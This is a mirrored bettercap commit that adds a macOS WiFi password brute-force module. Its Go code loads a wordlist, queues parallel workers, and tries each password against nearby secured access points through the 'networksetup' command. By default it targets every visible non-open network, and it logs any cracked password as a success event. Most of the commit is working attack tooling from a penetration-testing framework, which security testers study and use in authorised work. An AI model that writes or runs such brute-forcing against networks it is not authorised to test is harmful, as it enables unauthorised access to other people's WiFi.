mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
new: implemented wifi.bruteforce for darwin (ref #1075)
This commit is contained in:
parent
b0d56e4f5e
commit
08da91ed5c
7 changed files with 382 additions and 7 deletions
|
@ -132,6 +132,16 @@ func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event)
|
|||
deauth.RSSI)
|
||||
}
|
||||
|
||||
func (mod *EventsStream) viewWiFiBruteforceEvent(output io.Writer, e session.Event) {
|
||||
success := e.Data.(wifi.BruteforceSuccess)
|
||||
fmt.Fprintf(output, "[%s] [%s] target='%s' password='%s' auth_in=%v\n",
|
||||
e.Time.Format(mod.timeFormat),
|
||||
tui.Green(tui.Bold(e.Tag)),
|
||||
tui.Bold(success.Target),
|
||||
tui.Bold(success.Password),
|
||||
success.Elapsed)
|
||||
}
|
||||
|
||||
func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
|
||||
if strings.HasPrefix(e.Tag, "wifi.ap.") {
|
||||
mod.viewWiFiApEvent(output, e)
|
||||
|
@ -143,6 +153,8 @@ func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
|
|||
mod.viewWiFiHandshakeEvent(output, e)
|
||||
} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
|
||||
mod.viewWiFiClientEvent(output, e)
|
||||
} else if e.Tag == "wifi.bruteforce.success" {
|
||||
mod.viewWiFiBruteforceEvent(output, e)
|
||||
} else {
|
||||
fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
|
||||
}
|
||||
|
|
|
@ -29,6 +29,7 @@ type WiFiModule struct {
|
|||
session.SessionModule
|
||||
|
||||
iface *network.Endpoint
|
||||
bruteforce *bruteforceConfig
|
||||
handle *pcap.Handle
|
||||
source string
|
||||
region string
|
||||
|
@ -73,6 +74,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
mod := &WiFiModule{
|
||||
SessionModule: session.NewSessionModule("wifi", s),
|
||||
iface: s.Interface,
|
||||
bruteforce: NewBruteForceConfig(),
|
||||
minRSSI: -200,
|
||||
apTTL: 300,
|
||||
staTTL: 300,
|
||||
|
@ -119,6 +121,44 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
return mod.Stop()
|
||||
}))
|
||||
|
||||
mod.AddParam(session.NewStringParameter("wifi.bruteforce.target",
|
||||
mod.bruteforce.target,
|
||||
"",
|
||||
"One or more comma separated targets to bruteforce as ESSID or BSSID. Leave empty to bruteforce all visibile access points."))
|
||||
|
||||
mod.AddParam(session.NewStringParameter("wifi.bruteforce.wordlist",
|
||||
mod.bruteforce.wordlist,
|
||||
"",
|
||||
"Wordlist file to use for bruteforcing."))
|
||||
|
||||
mod.AddParam(session.NewIntParameter("wifi.bruteforce.workers",
|
||||
fmt.Sprintf("%d", mod.bruteforce.workers),
|
||||
"How many parallel workers. WARNING: Some routers will ban multiple concurrent attempts."))
|
||||
|
||||
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.wide",
|
||||
fmt.Sprintf("%v", mod.bruteforce.wide),
|
||||
"Attempt a password for each access point before moving to the next one."))
|
||||
|
||||
mod.AddParam(session.NewBoolParameter("wifi.bruteforce.stop_at_first",
|
||||
fmt.Sprintf("%v", mod.bruteforce.stop_at_first),
|
||||
"Stop bruteforcing after the first successful attempt."))
|
||||
|
||||
mod.AddParam(session.NewIntParameter("wifi.bruteforce.timeout",
|
||||
fmt.Sprintf("%d", mod.bruteforce.timeout),
|
||||
"Timeout in seconds for each association attempt."))
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce on", "",
|
||||
"Attempts to bruteforce WiFi authentication.",
|
||||
func(args []string) error {
|
||||
return mod.startBruteforce()
|
||||
}))
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("wifi.bruteforce off", "",
|
||||
"Stop previously started bruteforcing.",
|
||||
func(args []string) error {
|
||||
return mod.stopBruteforce()
|
||||
}))
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("wifi.clear", "",
|
||||
"Clear all access points collected by the WiFi discovery module.",
|
||||
func(args []string) error {
|
||||
|
@ -137,7 +177,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
mod.stickChan = ap.Channel
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("Could not find station with BSSID %s", args[0])
|
||||
return fmt.Errorf("could not find station with BSSID %s", args[0])
|
||||
}))
|
||||
|
||||
mod.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
|
||||
|
@ -420,7 +460,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
|||
return err
|
||||
} else {
|
||||
if f := network.Dot11Chan2Freq(ch); f == 0 {
|
||||
return fmt.Errorf("%d is not a valid wifi channel.", ch)
|
||||
return fmt.Errorf("%d is not a valid wifi channel", ch)
|
||||
} else {
|
||||
freqs = append(freqs, f)
|
||||
}
|
||||
|
|
266
modules/wifi/wifi_bruteforce.go
Normal file
266
modules/wifi/wifi_bruteforce.go
Normal file
|
@ -0,0 +1,266 @@
|
|||
package wifi
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/v2/network"
|
||||
"github.com/evilsocket/islazy/async"
|
||||
"github.com/evilsocket/islazy/ops"
|
||||
"github.com/evilsocket/islazy/str"
|
||||
)
|
||||
|
||||
var (
|
||||
errRecon = errors.New("turn off wifi.recon first")
|
||||
errAlreadyRunning = errors.New("bruteforce already running")
|
||||
errNotRunning = errors.New("bruteforce not running")
|
||||
)
|
||||
|
||||
type bruteforceJob struct {
|
||||
running *atomic.Bool
|
||||
done *atomic.Uint64
|
||||
iface string
|
||||
essid string
|
||||
password string
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
type BruteforceSuccess struct {
|
||||
Iface string
|
||||
Target string
|
||||
Password string
|
||||
Elapsed time.Duration
|
||||
}
|
||||
|
||||
type bruteforceConfig struct {
|
||||
running atomic.Bool
|
||||
queue *async.WorkQueue
|
||||
done atomic.Uint64
|
||||
todo uint64
|
||||
target string
|
||||
wordlist string
|
||||
workers int
|
||||
timeout int
|
||||
wide bool
|
||||
stop_at_first bool
|
||||
|
||||
passwords []string
|
||||
targets []string
|
||||
}
|
||||
|
||||
func NewBruteForceConfig() *bruteforceConfig {
|
||||
return &bruteforceConfig{
|
||||
wordlist: "/usr/share/dict/words",
|
||||
passwords: make([]string, 0),
|
||||
targets: make([]string, 0),
|
||||
workers: 1,
|
||||
wide: false,
|
||||
stop_at_first: true,
|
||||
timeout: 10,
|
||||
queue: nil,
|
||||
done: atomic.Uint64{},
|
||||
todo: 0,
|
||||
}
|
||||
}
|
||||
|
||||
func (bruteforce *bruteforceConfig) setup(mod *WiFiModule) (err error) {
|
||||
if bruteforce.running.Load() {
|
||||
return errAlreadyRunning
|
||||
} else if err, bruteforce.target = mod.StringParam("wifi.bruteforce.target"); err != nil {
|
||||
return err
|
||||
} else if err, bruteforce.wordlist = mod.StringParam("wifi.bruteforce.wordlist"); err != nil {
|
||||
return err
|
||||
} else if err, bruteforce.workers = mod.IntParam("wifi.bruteforce.workers"); err != nil {
|
||||
return err
|
||||
} else if err, bruteforce.timeout = mod.IntParam("wifi.bruteforce.timeout"); err != nil {
|
||||
return err
|
||||
} else if err, bruteforce.wide = mod.BoolParam("wifi.bruteforce.wide"); err != nil {
|
||||
return err
|
||||
} else if err, bruteforce.stop_at_first = mod.BoolParam("wifi.bruteforce.stop_at_first"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// load targets
|
||||
bruteforce.targets = make([]string, 0)
|
||||
|
||||
if bruteforce.target == "" {
|
||||
// all visible APs
|
||||
for _, ap := range mod.Session.WiFi.List() {
|
||||
if !ap.IsOpen() {
|
||||
target := ap.ESSID()
|
||||
if target == "<hidden>" || target == "" {
|
||||
target = ap.BSSID()
|
||||
}
|
||||
bruteforce.targets = append(bruteforce.targets, target)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
bruteforce.targets = str.Comma(bruteforce.target)
|
||||
}
|
||||
|
||||
nTargets := len(bruteforce.targets)
|
||||
if nTargets == 0 {
|
||||
return fmt.Errorf("no target selected with wifi.bruteforce.target='%s'", bruteforce.target)
|
||||
}
|
||||
|
||||
mod.Info("selected %d target%s to bruteforce", nTargets, ops.Ternary(nTargets > 1, "s", ""))
|
||||
|
||||
// load wordlist
|
||||
bruteforce.passwords = make([]string, 0)
|
||||
fp, err := os.Open(bruteforce.wordlist)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer fp.Close()
|
||||
|
||||
scanner := bufio.NewScanner(fp)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
line := str.Trim(scanner.Text())
|
||||
if line != "" {
|
||||
bruteforce.passwords = append(bruteforce.passwords, line)
|
||||
}
|
||||
}
|
||||
|
||||
mod.Info("loaded %d passwords from %s", len(bruteforce.passwords), bruteforce.wordlist)
|
||||
|
||||
mod.Info("starting %d workers ...", mod.bruteforce.workers)
|
||||
|
||||
bruteforce.queue = async.NewQueue(mod.bruteforce.workers, mod.bruteforceWorker)
|
||||
|
||||
bruteforce.running.Store(true)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) bruteforceWorker(arg async.Job) {
|
||||
job := arg.(bruteforceJob)
|
||||
defer job.done.Add(1)
|
||||
|
||||
mod.Debug("got job %+v", job)
|
||||
|
||||
if job.running.Load() {
|
||||
start := time.Now()
|
||||
|
||||
if authenticated, err := wifiBruteforce(mod, job); err != nil {
|
||||
mod.Error("%v", err)
|
||||
// stop on error
|
||||
job.running.Store(false)
|
||||
} else if authenticated {
|
||||
// send event
|
||||
mod.Session.Events.Add("wifi.bruteforce.success", BruteforceSuccess{
|
||||
Elapsed: time.Since(start),
|
||||
Iface: job.iface,
|
||||
Target: job.essid,
|
||||
Password: job.password,
|
||||
})
|
||||
if mod.bruteforce.stop_at_first {
|
||||
// stop if stop_at_first==true
|
||||
job.running.Store(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) showBruteforceProgress() {
|
||||
progress := 100.0 * (float64(mod.bruteforce.done.Load()) / float64(mod.bruteforce.todo))
|
||||
mod.State.Store("bruteforce.progress", progress)
|
||||
|
||||
if mod.bruteforce.running.Load() {
|
||||
mod.Info("[%.2f%%] performed %d of %d bruteforcing attempts",
|
||||
progress,
|
||||
mod.bruteforce.done.Load(),
|
||||
mod.bruteforce.todo)
|
||||
}
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) startBruteforce() (err error) {
|
||||
var ifName string
|
||||
|
||||
if mod.Running() {
|
||||
return errRecon
|
||||
} else if err = mod.bruteforce.setup(mod); err != nil {
|
||||
return err
|
||||
} else if err, ifName = mod.StringParam("wifi.interface"); err != nil {
|
||||
return err
|
||||
} else if ifName == "" {
|
||||
mod.iface = mod.Session.Interface
|
||||
ifName = mod.iface.Name()
|
||||
} else if mod.iface, err = network.FindInterface(ifName); err != nil {
|
||||
return fmt.Errorf("could not find interface %s: %v", ifName, err)
|
||||
} else if mod.iface == nil {
|
||||
return fmt.Errorf("could not find interface %s", ifName)
|
||||
}
|
||||
|
||||
mod.Info("using interface %s (%s)", ifName, mod.iface.HwAddress)
|
||||
|
||||
mod.bruteforce.todo = uint64(len(mod.bruteforce.passwords) * len(mod.bruteforce.targets))
|
||||
mod.bruteforce.done.Store(0)
|
||||
|
||||
mod.Info("bruteforce running ...")
|
||||
|
||||
go func() {
|
||||
go func() {
|
||||
if mod.bruteforce.wide {
|
||||
for _, password := range mod.bruteforce.passwords {
|
||||
for _, essid := range mod.bruteforce.targets {
|
||||
if mod.bruteforce.running.Load() {
|
||||
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
|
||||
running: &mod.bruteforce.running,
|
||||
done: &mod.bruteforce.done,
|
||||
iface: mod.iface.Name(),
|
||||
essid: essid,
|
||||
password: password,
|
||||
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
|
||||
}))
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, essid := range mod.bruteforce.targets {
|
||||
for _, password := range mod.bruteforce.passwords {
|
||||
if mod.bruteforce.running.Load() {
|
||||
mod.bruteforce.queue.Add(async.Job(bruteforceJob{
|
||||
running: &mod.bruteforce.running,
|
||||
done: &mod.bruteforce.done,
|
||||
iface: mod.iface.Name(),
|
||||
essid: essid,
|
||||
password: password,
|
||||
timeout: time.Second * time.Duration(mod.bruteforce.timeout),
|
||||
}))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for mod.bruteforce.running.Load() && mod.bruteforce.done.Load() < mod.bruteforce.todo {
|
||||
time.Sleep(time.Second * time.Duration(mod.bruteforce.timeout))
|
||||
mod.showBruteforceProgress()
|
||||
}
|
||||
|
||||
if mod.bruteforce.done.Load() == mod.bruteforce.todo {
|
||||
mod.Info("bruteforcing completed")
|
||||
} else {
|
||||
mod.Info("bruteforcing stopped")
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (mod *WiFiModule) stopBruteforce() error {
|
||||
if !mod.bruteforce.running.Load() {
|
||||
return errNotRunning
|
||||
}
|
||||
|
||||
mod.Info("stopping bruteforcing ...")
|
||||
|
||||
mod.bruteforce.running.Store(false)
|
||||
|
||||
return nil
|
||||
}
|
44
modules/wifi/wifi_bruteforce_darwin.go
Normal file
44
modules/wifi/wifi_bruteforce_darwin.go
Normal file
|
@ -0,0 +1,44 @@
|
|||
package wifi
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os/exec"
|
||||
"time"
|
||||
|
||||
"github.com/bettercap/bettercap/v2/core"
|
||||
"github.com/evilsocket/islazy/async"
|
||||
)
|
||||
|
||||
// networksetup -setairportnetwork interface 'network name' 'password'
|
||||
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
|
||||
networksetup, err := exec.LookPath("networksetup")
|
||||
if err != nil {
|
||||
return false, errors.New("could not find networksetup in $PATH")
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"-setairportnetwork",
|
||||
job.iface,
|
||||
job.essid,
|
||||
job.password,
|
||||
}
|
||||
|
||||
type result struct {
|
||||
auth bool
|
||||
err error
|
||||
}
|
||||
|
||||
if res, err := async.WithTimeout(job.timeout, func() interface{} {
|
||||
start := time.Now()
|
||||
if output, err := core.Exec(networksetup, args); err != nil {
|
||||
return result{auth: false, err: err}
|
||||
} else {
|
||||
mod.Debug("%s %v : %v\n%v", networksetup, args, time.Since(start), output)
|
||||
return result{auth: output == "", err: nil}
|
||||
}
|
||||
}); err == nil && res != nil {
|
||||
return res.(result).auth, res.(result).err
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
7
modules/wifi/wifi_bruteforce_linux.go
Normal file
7
modules/wifi/wifi_bruteforce_linux.go
Normal file
|
@ -0,0 +1,7 @@
|
|||
package wifi
|
||||
|
||||
import "errors"
|
||||
|
||||
func wifiBruteforce(mod *WiFiModule, job bruteforceJob) (bool, error) {
|
||||
return false, errors.New("TODO")
|
||||
}
|
10
modules/wifi/wifi_bruteforce_unsupported.go
Normal file
10
modules/wifi/wifi_bruteforce_unsupported.go
Normal file
|
@ -0,0 +1,10 @@
|
|||
//go:build windows || freebsd || netbsd || openbsd
|
||||
// +build windows freebsd netbsd openbsd
|
||||
|
||||
package wifi
|
||||
|
||||
import "errors"
|
||||
|
||||
func wifiBruteforce(_ *WiFiModule, _ bruteforceJob) (bool, error) {
|
||||
return false, errors.New("not supported on this OS")
|
||||
}
|
|
@ -181,7 +181,7 @@ func (mod *WiFiModule) doSelection() (err error, stations []*network.Station) {
|
|||
if ap, found := mod.Session.WiFi.Get(mod.ap.HwAddress); found {
|
||||
stations = ap.Clients()
|
||||
} else {
|
||||
err = fmt.Errorf("Could not find station %s", mod.ap.HwAddress)
|
||||
err = fmt.Errorf("could not find station %s", mod.ap.HwAddress)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
|
@ -315,10 +315,6 @@ func (mod *WiFiModule) showStatusBar() {
|
|||
}
|
||||
|
||||
func (mod *WiFiModule) Show() (err error) {
|
||||
if mod.Running() == false {
|
||||
return session.ErrAlreadyStopped(mod.Name())
|
||||
}
|
||||
|
||||
var stations []*network.Station
|
||||
if err, stations = mod.doSelection(); err != nil {
|
||||
return
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue